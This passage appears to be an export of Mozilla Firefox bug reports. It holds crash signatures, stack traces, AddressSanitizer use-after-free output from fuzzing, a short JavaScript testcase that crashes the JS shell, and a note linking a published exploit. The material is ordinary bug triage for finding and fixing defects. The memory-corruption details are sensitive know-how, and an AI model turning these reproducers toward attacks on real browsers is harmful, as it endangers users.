=>0x0c10800137f0: fa fa fa fa fd fd[fd]fd fd fd fd fd fd fd fd fa
0x0c1080013800: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
0x0c1080013810: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
0x0c1080013820: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1080013830: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1080013840: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==8893==ABORTING
|
|
1,535,631 | 13,988,875 |
This bug is for crash report bp-8ab80a84-84d0-4137-b8f0-ebdcc0190314.
Seen while looking at nightly crash stats - there are a series of 10.14 crashes happening with somewhat similar signatures: https://bit.ly/2Ffsy3p. The crashes seemed to have started in 20190314094420.
Possible regression range based on build id: https://hg.mozilla.org/mozilla-central/pushloghtml?fromchange=aecc707103590186a2a7fa5d002849f443417e59&tochange=49d94c83bb220524a370fc7f7734de7e7307016b
```
Top 10 frames of crashing thread:
0 XUL dav1d_ipred_z3_avx2.h32
1 XUL decode_b third_party/dav1d/src/decode.c:711
2 XUL decode_sb third_party/dav1d/src/decode.c
3 XUL decode_sb third_party/dav1d/src/decode.c:2054
4 XUL dav1d_decode_tile_sbrow third_party/dav1d/src/decode.c:2430
5 XUL dav1d_decode_frame third_party/dav1d/src/decode.c:2894
6 XUL dav1d_frame_task third_party/dav1d/src/thread_task.c:44
7 libsystem_pthread.dylib libsystem_pthread.dylib@0x3338
8 libsystem_pthread.dylib libsystem_pthread.dylib@0x62a6
9 libsystem_pthread.dylib libsystem_pthread.dylib@0x2444
```
|
|
1,535,699 | 13,989,477 |
This is possibly the same thing as bug 1530168.
The cause of the crash seems to be when a Service Worker registered under origin A attempts to intercept a request to origin A, but the Service Worker doesn't actually handle fetch events, and the request to origin A ultimately redirects to origin B. Sometimes (i.e. intermittently), the load info for the cross-origin redirect (i.e. the redirect channel to origin B), incorrectly inherits the controller that was marked on the request to origin A.
|
|
1,535,866 | 13,990,645 |
This bug is for crash report bp-828147dd-5ef9-45eb-ba10-c61430190315.
```
Top 8 frames of crashing thread:
0 xul.dll struct already_AddRefed<mozilla::gfx::GradientStops> mozilla::gfx::DrawTargetD2D1::CreateGradientStops gfx/2d/DrawTargetD2D1.cpp:1139
1 xul.dll mozilla::gfx::gfxGradientCache::GetOrCreateGradientStops gfx/thebes/gfxGradientCache.cpp:191
2 xul.dll class mozilla::gfx::GradientStops* mozilla::dom::CanvasGradient::GetGradientStopsForTarget dom/canvas/CanvasGradient.h:35
3 xul.dll class mozilla::gfx::Pattern& const mozilla::dom::CanvasGeneralPattern::ForStyle dom/canvas/CanvasRenderingContext2D.cpp:272
4 xul.dll mozilla::dom::CanvasRenderingContext2D::Fill dom/canvas/CanvasRenderingContext2D.cpp:2603
5 xul.dll static bool mozilla::dom::CanvasRenderingContext2D_Binding::fill dom/bindings/CanvasRenderingContext2DBinding.cpp
6 xul.dll mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions> dom/bindings/BindingUtils.cpp:3144
7 @0x290835207fc
```
this crash signature has started showing up since 67.0a1 build 20190307094951 and the 66 release candidate builds on beta.
|
|
1,536,159 | 13,994,065 |
This bug is for crash report bp-e45b6bc4-b466-4fa0-8c96-ab3660190318.
Seen while looking at release and beta crash stats - this crash has been around and is sometimes in the top 25 crashes: https://bit.ly/2YeK6Fs. We shall see where it ends up after we release 66.
High correlation to Win 7 - 80.95% in signature vs 46.36% overall) platform_pretty_version = Windows 7
Some of the comments mention repeatedly crashing.
```
Top 10 frames of crashing thread:
0 xul.dll js::AutoEnterOOMUnsafeRegion::crash js/src/vm/JSContext.cpp:1487
1 xul.dll js::TypeZone::addPendingRecompile js/src/vm/TypeInference.cpp
2 xul.dll void `anonymous namespace'::TypeConstraintFreezeStack::newType js/src/vm/TypeInference.cpp:1466
3 xul.dll js::ConstraintTypeSet::addType js/src/vm/TypeInference.cpp:766
4 xul.dll js::TypeScript::SetThis js/src/vm/TypeInference-inl.h:776
5 xul.dll static bool js::jit::DoTypeMonitorFallback js/src/jit/BaselineIC.cpp:1425
6 xul.dll trunc
7 @0x159b5e26
8 @0x5bef7ce7
9 @0x159006aa
```
|
|
1,536,227 | 13,994,491 |
This bug is for crash report bp-ee4cf772-6446-4451-86a1-253e90190315.
```
Top 7 frames of crashing thread:
0 xul.dll static bool nsTArray_Impl< xpcom/ds/nsTArray.h:1778
1 xul.dll mozilla::a11y::DocAccessibleParent::RecvHideEvent accessible/ipc/DocAccessibleParent.cpp:184
2 xul.dll mozilla::a11y::PDocAccessibleParent::OnMessageReceived ipc/ipdl/PDocAccessibleParent.cpp:287
3 xul.dll void mozilla::ipc::MessageChannel::DispatchMessage ipc/glue/MessageChannel.cpp:2078
4 xul.dll nsresult mozilla::ipc::MessageChannel::MessageTask::Run ipc/glue/MessageChannel.cpp:1968
5 xul.dll nsThread::ProcessNextEvent xpcom/threads/nsThread.cpp:1179
6 xul.dll XPTC__InvokebyIndex
```
these crashes are starting to show up since firefox 63 on 64bit versions of windows - in rather low volume though. most of the affected builds and comments are in chinese.
a portion of crashes are looking like wild-pointer issues.
|
|
1,537,554 | 14,000,161 |
This bug is for crash report bp-4c1631e7-6b4d-492b-8803-262c00190320.
```
Top 10 frames of crashing thread:
0 libxul.so mozilla::dom::CompareSimpleTextTrackEvents::LessThan const xpcom/ds/nsTArray.h:490
1 libxul.so bool mozilla::BinarySearchIf<RefPtr<mozilla::dom::SimpleTextTrackEvent> const*, unsigned long nsTArray_Impl<RefPtr<mozilla::dom::SimpleTextTrackEvent>, nsTArrayInfallibleAllocator>::IndexOfFirstElementGt<mozilla::dom::SimpleTextTrackEvent*&, mozilla::dom::CompareSimpleTextTrackEvents> xpcom/ds/nsTArray.h:820
2 libxul.so RefPtr<mozilla::dom::SimpleTextTrackEvent>* nsTArray_Impl<RefPtr<mozilla::dom::SimpleTextTrackEvent>, nsTArrayInfallibleAllocator>::InsertElementSorted<mozilla::dom::SimpleTextTrackEvent*&, mozilla::dom::CompareSimpleTextTrackEvents, nsTArrayInfallibleAllocator> xpcom/ds/nsTArray.h:1512
3 libxul.so mozilla::dom::TextTrackManager::TimeMarchesOn dom/html/TextTrackManager.cpp:775
4 libxul.so mozilla::dom::TextTrackManager::NotifyCueRemoved dom/html/TextTrackManager.cpp:297
5 libxul.so mozilla::dom::TextTrack::SetMode dom/html/HTMLMediaElement.h:650
6 libxul.so mozilla::dom::TextTrack_Binding::set_mode dom/bindings/TextTrackBinding.cpp:302
7 libxul.so bool mozilla::dom::binding_detail::GenericSetter<mozilla::dom::binding_detail::NormalThisPolicy> dom/bindings/BindingUtils.cpp:3097
8 libxul.so js::InternalCallOrConstruct js/src/vm/Interpreter.cpp:442
9 libxul.so js::CallSetter js/src/vm/Interpreter.cpp:589
```
I'm pretty sure this was a crash in a new tab that was opened with this URL:
https://twitter.com/SkyandTelescope/status/1108463880408387584
...though I can't trigger any more crashes with that URL, after the one visit that did crash. (i.e. this was a one-off for me).
This has the same signature as bug 1533909, but that bug was closed as fixed a week ago, and my crash that I'm reporting here was with today's Nightly (20190320112939)
|
|
1,476,674 | 13,480,044 |
This bug was filed from the Socorro interface and is
report bp-d5647c12-1610-4fba-98fa-c09780180717.
=============================================================
Top 10 frames of crashing thread:
0 xul.dll nsNavHistory::RecalculateOriginFrecencyStats toolkit/components/places/nsNavHistory.cpp:617
1 xul.dll static nsresult mozilla::places::`anonymous namespace'::MigrateV52OriginFrecenciesRunnable::Run toolkit/components/places/Database.cpp:2599
2 xul.dll nsThread::ProcessNextEvent xpcom/threads/nsThread.cpp:1051
3 xul.dll NS_ProcessNextEvent xpcom/threads/nsThreadUtils.cpp:519
4 xul.dll static bool mozilla::SpinEventLoopUntil<1, <lambda_c1e220acbaa4d185d2d1800aa1daa0b2> > xpcom/threads/nsThreadUtils.h:324
5 xul.dll mozilla::storage::Connection::SpinningSynchronousClose storage/mozStorageConnection.cpp:1385
6 xul.dll mozilla::places::Database::BackupAndReplaceDatabaseFile toolkit/components/places/Database.cpp:874
7 xul.dll mozilla::places::Database::EnsureConnection toolkit/components/places/Database.cpp:665
8 xul.dll mozilla::places::History::GetDBConn toolkit/components/places/History.cpp:2692
9 xul.dll mozilla::places::History::VisitURI toolkit/components/places/History.cpp:2872
=============================================================
this signature is newly appearing on 63.0a1 and 62.0b9 after uplifting bug 1467627. crashes appear to be happening during browser startup according to one comment and the uptime field in crash reports.
|
|
1,477,079 | 13,483,669 |
This bug was filed from the Socorro interface and is
report bp-7e470007-5e67-4c4e-99c9-2a42f0180713.
=============================================================
Small volume, cross platform regression which appears to have started using 20180710100040: https://bit.ly/2JzzE2J
Apologies if this is the wrong component.
Possible regression range based on Build ID: https://hg.mozilla.org/mozilla-central/pushloghtml?fromchange=3d20b0701781731e0f9b08e1cd40ac842f385e03&tochange=70f901964f9725e6dfd09750f48996e9d6670492
Top 10 frames of crashing thread:
0 xul.dll nsXBLResourceLoader::StyleSheetLoaded dom/xbl/nsXBLResourceLoader.cpp:183
1 xul.dll mozilla::css::Loader::SheetComplete layout/style/Loader.cpp:1705
2 xul.dll static void <lambda_fb59d116f6a4f0ce69ce8dcdc439c5d4>::operator layout/style/Loader.cpp:1660
3 xul.dll void mozilla::MozPromise<bool, bool, 1>::ThenValue<<lambda_fb59d116f6a4f0ce69ce8dcdc439c5d4>, <lambda_a44192e6e5651bca308ccf0279fd0dc2> >::DoResolveOrRejectInternal xpcom/threads/MozPromise.h:774
4 xul.dll mozilla::MozPromise<bool, bool, 1>::ThenValueBase::DoResolveOrReject xpcom/threads/MozPromise.h:506
5 xul.dll mozilla::MozPromise<bool, bool, 1>::ThenValueBase::ResolveOrRejectRunnable::Run xpcom/threads/MozPromise.h:411
6 xul.dll nsThread::ProcessNextEvent xpcom/threads/nsThread.cpp:1051
7 xul.dll NS_ProcessNextEvent xpcom/threads/nsThreadUtils.cpp:519
8 xul.dll nsThread::Shutdown xpcom/threads/nsThread.cpp:799
9 xul.dll LoadLoadableRootsTask::Run security/manager/ssl/nsNSSComponent.cpp:1020
=============================================================
|
|
1,477,469 | 13,486,939 |
This bug was filed from the Socorro interface and is
report bp-690885bc-8a5c-4a0f-b68d-6c40f0180720.
=============================================================
Top 10 frames of crashing thread:
0 libxul.so mozilla::widget::GeckoEditableSupport::DoReplaceText dom/events/TextComposition.h:127
1 libxul.so mozilla::widget::GeckoEditableSupport::OnImeReplaceText widget/android/GeckoEditableSupport.cpp:976
2 libxul.so mozilla::EnableIf< const widget/android/jni/Natives.h:438
3 libxul.so mozilla::jni::detail::ProxyNativeCall<mozilla::widget::GeckoEditableSupport, mozilla::java::GeckoEditableChild, false, false, int, int, mozilla::jni::StringParam const&>::operator widget/android/jni/Natives.h:499
4 libxul.so nsAppShell::ProcessNextNativeEvent widget/android/nsAppShell.cpp:754
5 libxul.so nsBaseAppShell::DoProcessNextNativeEvent widget/nsBaseAppShell.cpp:140
6 libxul.so nsBaseAppShell::OnProcessNextEvent widget/nsBaseAppShell.cpp:291
7 libxul.so non-virtual thunk to nsBaseAppShell::OnProcessNextEvent widget/nsBaseAppShell.cpp
8 libxul.so nsThread::ProcessNextEvent xpcom/threads/nsThread.cpp:1083
9 libxul.so NS_ProcessNextEvent xpcom/threads/nsThreadUtils.cpp:519
=============================================================
There is 1 crash in nightly 63 with buildid 20180720101506. In analyzing the backtrace, the regression may have been introduced by patch [1] to fix bug 1470786.
[1] https://hg.mozilla.org/mozilla-central/rev?node=d4c93d40e9aa
|
|
1,467,582 | 13,394,828 |
This is the #2 top crash on OSX for the 6-6 Nightly. The stacks all involve printing, as do a number of user comments.
This bug was filed from the Socorro interface and is
report bp-4943e3d5-4e4a-4c83-b627-a41330180606.
=============================================================
Top 10 frames of crashing thread:
0 XUL CrashReporter::TerminateHandler toolkit/crashreporter/nsExceptionHandler.cpp:1434
1 libc++abi.dylib std::__terminate
2 libc++abi.dylib __cxa_throw
3 libobjc.A.dylib objc_begin_catch
4 CoreFoundation CFPasteboardPromiseDataUsingBlock
5 CoreFoundation _CFURLCreateWithFileSystemPath
6 CoreFoundation CFReadStreamRead
7 CoreFoundation -[CFPrefsCompatibilitySource alreadylocked_copyValueForKey:]
8 AppKit -[NSPrintInfo initWithDictionary:]
9 XUL nsPrintSettingsX::SetToFileName widget/cocoa/nsPrintSettingsX.mm:373
=============================================================
|
|
1,467,938 | 13,397,458 |
Looks like Firefox 62 is affected by this exploit published today: https://www.exploit-db.com/exploits/44863/
|
|
1,468,053 | 13,398,376 |
User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36
Firefox for Android
Steps to reproduce:
I can reproduce using the following steps:
1. Prepare Firefox to subscribe to an RSS feed using live bookmarks
2. Show bookmarks toolbar
3. Click the subscribed feed icon to show the drop-down menu with subscription items
4. Click any item to show the linked web page
5. Repeat step 3.
Actual results:
The drop-down menu is showing
Expected results:
The drop-down menu is not showing
Side-note: Items are still clickable in the invisible drop-down menu.
|
|
1,468,747 | 13,405,268 |
This bug was filed from the Socorro interface and is
report bp-f88352a7-0cff-464e-8844-cc9460180612.
=============================================================
This crash started showing up in the 20180611100107 nightly 62 build on Fennec at a fairly high volume for Nightly.
Top 10 frames of crashing thread:
0 libxul.so mozilla::gl::GLContext::InitWithPrefixImpl widget/android/AndroidBridge.h:148
1 libxul.so mozilla::gl::GLContext::InitWithPrefix gfx/gl/GLContext.cpp:347
2 libxul.so mozilla::gl::GLContextEGL::Init gfx/gl/GLContextProviderEGL.cpp:354
3 libxul.so mozilla::gl::GLContextEGL::CreateGLContext gfx/gl/GLContextProviderEGL.cpp:623
4 libxul.so mozilla::gl::GLContextEGL::CreateEGLPBufferOffscreenContext gfx/gl/GLContextProviderEGL.cpp:1095
5 libxul.so mozilla::gl::GLContextProviderEGL::CreateHeadless gfx/gl/GLContextProviderEGL.cpp:1116
6 libxul.so gfxPlatform::GetSkiaGLGlue gfx/thebes/gfxPlatform.cpp:1490
7 libxul.so mozilla::dom::CanvasRenderingContext2D::TrySkiaGLTarget dom/canvas/CanvasRenderingContext2D.cpp:1826
8 libxul.so mozilla::dom::CanvasRenderingContext2D::EnsureTarget dom/canvas/CanvasRenderingContext2D.cpp:1680
9 libxul.so mozilla::dom::CanvasRenderingContext2D::EnsureWritablePath dom/canvas/CanvasRenderingContext2D.cpp:3572
=============================================================
|
|
1,470,732 | 13,421,934 |
The following testcase crashes on mozilla-central revision 368ae05266bd (build with --enable-posix-nspr-emulation --enable-valgrind --enable-gczeal --disable-tests --disable-profiling --enable-debug --enable-optimize, run with --fuzzing-safe --cpu-count=2 --ion-eager):
while(true) {
evalInWorker(`
setJitCompilerOption("baseline.warmup.trigger", 10);
`);
let m = parseModule("");
m.declarationInstantiation();
}
Backtrace:
received signal SIGSEGV, Segmentation fault.
#0 mozilla::LinkedListElement<js::jit::IonBuilder>::setNextUnsafe (aElem=0x7ffff5381270, this=0x7ffff5f072b0) at dist/include/mozilla/LinkedList.h:336
#1 mozilla::LinkedList<js::jit::IonBuilder>::insertFront (aElem=0x7ffff5381270, this=<optimized out>) at dist/include/mozilla/LinkedList.h:465
#2 js::jit::JitRuntime::ionLazyLinkListAdd (this=0x7ffff5f07000, rt=0x7ffff5f19000, builder=0x7ffff5381270) at js/src/jit/Ion.cpp:375
#3 0x00000000007a47d4 in js::jit::MoveFinshedBuildersToLazyLinkList (lock=..., rt=0x7ffff5f19000) at js/src/jit/Ion.cpp:1929
#4 js::jit::AttachFinishedCompilations (cx=cx@entry=0x7ffff5f17000) at js/src/jit/Ion.cpp:1961
#5 0x0000000000c6f70c in HandleInterrupt (cx=0x7ffff5f17000, invokeCallback=false) at js/src/vm/Runtime.cpp:431
#6 0x00001d6be56d3a16 in ?? ()
#7 0x0000000000000000 in ?? ()
rax 0x7ffff5381388 140737307480968
rbx 0x7ffff5381270 140737307480688
rcx 0x7ffff5381201 140737307480577
rdx 0x7ffff55452d8 140737309332184
rsi 0x7ffff5f19001 140737319636993
rdi 0x7ffff5f072b0 140737319563952
rbp 0x7fffffffc350 140737488339792
rsp 0x7fffffffc330 140737488339760
r8 0x7ffff5f17118 140737319629080
r9 0x7ffff5f17030 140737319628848
r10 0x7fffffffc3d0 140737488339920
r11 0x7ffff5564400 140737309459456
r12 0x7ffff5f07000 140737319563264
r13 0x7ffff5f19000 140737319636992
r14 0x7ffff5f19000 140737319636992
r15 0x7fffffffc3c0 140737488339904
rip 0x739d3b <js::jit::JitRuntime::ionLazyLinkListAdd(JSRuntime*, js::jit::IonBuilder*)+187>
=> 0x739d3b <js::jit::JitRuntime::ionLazyLinkListAdd(JSRuntime*, js::jit::IonBuilder*)+187>: mov %rdi,0x120(%rbx)
0x739d42 <js::jit::JitRuntime::ionLazyLinkListAdd(JSRuntime*, js::jit::IonBuilder*)+194>: mov %rdx,0x118(%rbx)
This is a critical fuzzblocker, disabling all evalInWorker testing until resolved.
|
|
1,470,758 | 13,422,118 |
This bug was filed from the Socorro interface and is
report bp-46321ba5-393c-4a53-b98e-c9f320180623.
=============================================================
MOZ_CRASH Reason: MOZ_RELEASE_ASSERT(!mFrameList.Contains(aFrame))
(that assertion was added in bug 1469472)
Top 10 frames of crashing thread:
0 xul.dll mozilla::DisplayItemData::AddFrame layout/painting/FrameLayerBuilder.cpp:247
1 xul.dll mozilla::DisplayItemData::BeginUpdate layout/painting/FrameLayerBuilder.cpp:342
2 xul.dll mozilla::FrameLayerBuilder::AddPaintedDisplayItem layout/painting/FrameLayerBuilder.cpp:5053
3 xul.dll static void mozilla::ContainerState::FinishPaintedLayerData<<lambda_f351b207cae3e7b8d5b9c1e51e1fcaef> > layout/painting/FrameLayerBuilder.cpp:3429
4 xul.dll mozilla::PaintedLayerDataNode::PopAllPaintedLayerData layout/painting/FrameLayerBuilder.cpp:3059
5 xul.dll mozilla::PaintedLayerDataNode::Finish layout/painting/FrameLayerBuilder.cpp:3024
6 xul.dll mozilla::PaintedLayerDataNode::FinishAllChildren layout/painting/FrameLayerBuilder.cpp:3013
7 xul.dll mozilla::PaintedLayerDataNode::Finish layout/painting/FrameLayerBuilder.cpp:3022
8 xul.dll mozilla::PaintedLayerDataNode::FinishAllChildren layout/painting/FrameLayerBuilder.cpp:3013
9 xul.dll mozilla::PaintedLayerDataNode::Finish layout/painting/FrameLayerBuilder.cpp:3022
=============================================================
|
|
1,471,953 | 13,433,859 |
Found while fuzzing mozilla-central rev b429b9fb68f1. Currently attempting to reduce the testcase and will update once complete.
=================================================================
==12249==ERROR: AddressSanitizer: heap-use-after-free on address 0x6150006652b0 at pc 0x7f2004770f0d bp 0x7f1fa6f08ee0 sp 0x7f1fa6f08ed8
READ of size 8 at 0x6150006652b0 thread T37284 (MediaStreamGrph)
#0 0x7f2004770f0c in get /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:296:27
#1 0x7f2004770f0c in operator-> /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:328
#2 0x7f2004770f0c in mozilla::MediaStreamGraphImpl::Dispatch(already_AddRefed<nsIRunnable>&&) /builds/worker/workspace/build/src/dom/media/MediaStreamGraph.cpp:1827
#3 0x7f2004463eea in mozilla::OfflineClockDriver::~OfflineClockDriver() /builds/worker/workspace/build/src/dom/media/GraphDriver.cpp:165:18
#4 0x7f2004465298 in mozilla::SystemClockDriver::~SystemClockDriver() /builds/worker/workspace/build/src/dom/media/GraphDriver.cpp:268:1
#5 0x7f200449a96f in Release /builds/worker/workspace/build/src/dom/media/GraphDriver.h:118:3
#6 0x7f200449a96f in Release /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:42
#7 0x7f200449a96f in Release /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:407
#8 0x7f200449a96f in ~RefPtr /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:80
#9 0x7f200449a96f in ~MediaStreamGraphInitThreadRunnable /builds/worker/workspace/build/src/dom/media/GraphDriver.cpp:169
#10 0x7f200449a96f in mozilla::MediaStreamGraphInitThreadRunnable::~MediaStreamGraphInitThreadRunnable() /builds/worker/workspace/build/src/dom/media/GraphDriver.cpp:169
#11 0x7f1ffc8faceb in mozilla::Runnable::Release() /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:50:1
#12 0x7f1ffc8eb2d9 in ~nsCOMPtr_base /builds/worker/workspace/build/src/obj-firefox/dist/include/nsCOMPtr.h:313:7
#13 0x7f1ffc8eb2d9 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1076
#14 0x7f1ffc8f35b5 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:519:10
#15 0x7f1ffda888df in mozilla::ipc::MessagePumpForNonMainThreads::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:334:20
#16 0x7f1ffd98c2ec in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:325:10
#17 0x7f1ffd98c2ec in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:318
#18 0x7f1ffd98c2ec in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:298
#19 0x7f1ffc8e3dc1 in nsThread::ThreadFunc(void*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:423:11
#20 0x7f201dd6bdc8 in _pt_root /builds/worker/workspace/build/src/nsprpub/pr/src/pthreads/ptthread.c:201:5
#21 0x7f20213656b9 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x76b9)
#22 0x7f20203ee41c in clone /build/glibc-Cl5G7W/glibc-2.23/misc/../sysdeps/unix/sysv/linux/x86_64/clone.S:109
0x6150006652b0 is located 432 bytes inside of 472-byte region [0x615000665100,0x6150006652d8)
freed by thread T0 (file:// Content) here:
#0 0x4c4cc2 in __interceptor_free /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:68:3
#1 0x7f200478a21b in mozilla::MediaStreamGraphImpl::Release() /builds/worker/workspace/build/src/dom/media/MediaStreamGraph.cpp:3794:1
#2 0x7f20047a3555 in Release /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:42:11
#3 0x7f20047a3555 in Release /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:407
#4 0x7f20047a3555 in ~RefPtr /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:80
#5 0x7f20047a3555 in ~MediaStreamGraphShutDownRunnable /builds/worker/workspace/build/src/dom/media/MediaStreamGraph.cpp:1441
#6 0x7f20047a3555 in mozilla::(anonymous namespace)::MediaStreamGraphShutDownRunnable::~MediaStreamGraphShutDownRunnable() /builds/worker/workspace/build/src/dom/media/MediaStreamGraph.cpp:1441
#7 0x7f1ffc8faceb in mozilla::Runnable::Release() /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:50:1
#8 0x7f1ffc8bcdb2 in ~nsCOMPtr_base /builds/worker/workspace/build/src/obj-firefox/dist/include/nsCOMPtr.h:313:7
#9 0x7f1ffc8bcdb2 in Destruct /builds/worker/workspace/build/src/obj-firefox/dist/include/nsTArray.h:544
#10 0x7f1ffc8bcdb2 in DestructRange /builds/worker/workspace/build/src/obj-firefox/dist/include/nsTArray.h:2075
#11 0x7f1ffc8bcdb2 in ClearAndRetainStorage /builds/worker/workspace/build/src/obj-firefox/dist/include/nsTArray.h:1296
#12 0x7f1ffc8bcdb2 in ~nsTArray_Impl /builds/worker/workspace/build/src/obj-firefox/dist/include/nsTArray.h:867
#13 0x7f1ffc8bcdb2 in mozilla::AutoTaskDispatcher::PerThreadTaskGroup::~PerThreadTaskGroup() /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/TaskDispatcher.h:183
#14 0x7f1ffc8bcc75 in operator() /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/UniquePtr.h:528:5
#15 0x7f1ffc8bcc75 in reset /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/UniquePtr.h:343
#16 0x7f1ffc8bcc75 in ~UniquePtr /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/UniquePtr.h:288
#17 0x7f1ffc8bcc75 in ~TaskGroupRunnable /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/TaskDispatcher.h:190
#18 0x7f1ffc8bcc75 in mozilla::AutoTaskDispatcher::TaskGroupRunnable::~TaskGroupRunnable() /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/TaskDispatcher.h:190
#19 0x7f1ffc8faceb in mozilla::Runnable::Release() /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:50:1
#20 0x7f1ffc8b8fd4 in Release /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:42:11
#21 0x7f1ffc8b8fd4 in Release /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:407
#22 0x7f1ffc8b8fd4 in ~RefPtr /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:80
#23 0x7f1ffc8b8fd4 in ~Runner /builds/worker/workspace/build/src/xpcom/threads/AbstractThread.cpp:114
#24 0x7f1ffc8b8fd4 in mozilla::EventTargetWrapper::Runner::~Runner() /builds/worker/workspace/build/src/xpcom/threads/AbstractThread.cpp:114
#25 0x7f1ffc8fb2ab in Release /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:50:1
#26 0x7f1ffc8fb2ab in mozilla::CancelableRunnable::Release() /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:74
#27 0x7f1ffc8b091e in assign_assuming_AddRef /builds/worker/workspace/build/src/obj-firefox/dist/include/nsCOMPtr.h:355:7
#28 0x7f1ffc8b091e in operator= /builds/worker/workspace/build/src/obj-firefox/dist/include/nsCOMPtr.h:638
#29 0x7f1ffc8b091e in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:341
#30 0x7f1ffc8ead98 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1051:14
#31 0x7f1ffc8e9051 in NS_ProcessNextEvent /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:519:10
#32 0x7f1ffc8e9051 in SpinEventLoopUntil<mozilla::ProcessFailureBehavior::ReportToCaller, (lambda at /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:799:22)> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:324
#33 0x7f1ffc8e9051 in nsThread::Shutdown() /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:799
#34 0x7f2004499831 in mozilla::MediaStreamGraphShutdownThreadRunnable::Run() /builds/worker/workspace/build/src/dom/media/GraphDriver.cpp:152:14
#35 0x7f1ffc8b8658 in mozilla::EventTargetWrapper::Runner::Run() /builds/worker/workspace/build/src/xpcom/threads/AbstractThread.cpp:150:32
#36 0x7f1ffc8b08b2 in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:337:32
#37 0x7f1ffc8ead98 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1051:14
#38 0x7f1ffc8e9051 in NS_ProcessNextEvent /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:519:10
#39 0x7f1ffc8e9051 in SpinEventLoopUntil<mozilla::ProcessFailureBehavior::ReportToCaller, (lambda at /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:799:22)> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:324
#40 0x7f1ffc8e9051 in nsThread::Shutdown() /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:799
#41 0x7f2004499831 in mozilla::MediaStreamGraphShutdownThreadRunnable::Run() /builds/worker/workspace/build/src/dom/media/GraphDriver.cpp:152:14
#42 0x7f1ffc8b8658 in mozilla::EventTargetWrapper::Runner::Run() /builds/worker/workspace/build/src/xpcom/threads/AbstractThread.cpp:150:32
#43 0x7f1ffc8b08b2 in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:337:32
#44 0x7f1ffc8ead98 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1051:14
#45 0x7f1ffc8f35b5 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:519:10
